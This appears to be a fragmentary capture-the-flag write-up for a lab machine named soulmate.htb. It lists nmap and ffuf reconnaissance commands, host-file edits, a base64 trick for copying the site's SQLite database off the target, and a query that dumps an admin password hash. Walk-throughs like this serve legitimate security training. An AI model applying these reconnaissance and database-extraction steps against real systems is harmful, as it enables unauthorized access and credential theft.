Alan's Blog

1
nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -iL ip.txt  -oA nmapscan/syn
2
...
3
PORT   STATE SERVICE
4
22/tcp open  ssh
5
80/tcp open  http
6

7
Nmap done: 1 IP address (1 host up) scanned in 2.88 seconds

1
echo '10.10.11.86 soulmate.htb' >> /etc/hosts

1
ffuf -u http://10.10.11.86 -H "Host:FUZZ.soulmate.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs 154 -t 500
2

3
        /'___\  /'___\           /'___\
4
       /\ \__/ /\ \__/  __  __  /\ \__/
5
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
6
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
7
         \ \_\   \ \_\  \ \____/  \ \_\
8
          \/_/    \/_/   \/___/    \/_/
9

10
       v2.1.0-dev
11
________________________________________________
12

13
...
14

15
ftp                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 468ms]

1
echo '10.10.11.86 ftp.soulmate.htb' >> /etc/hosts

1
base64 /var/www/soulmate.htb/data/soulmate.db
2

3
echo "your_base64_code" | base64 -d > soulmate.db

1
$ sqlite3 soulmate.db
2
SQLite version 3.46.1 2024-08-13 09:16:08
3
Enter ".help" for usage hints.
4
sqlite> .tables
5
users
6
sqlite> select * from users;
7
1|admin|$2y$12$u0AC6fpQu0MJt7uJ80tM.Oh4lEmCMgvBs3PwNNZIR7lor05ING3v2|1|Administrator|||||2025-08-10 13:00:08|2025-08-10 12:59:39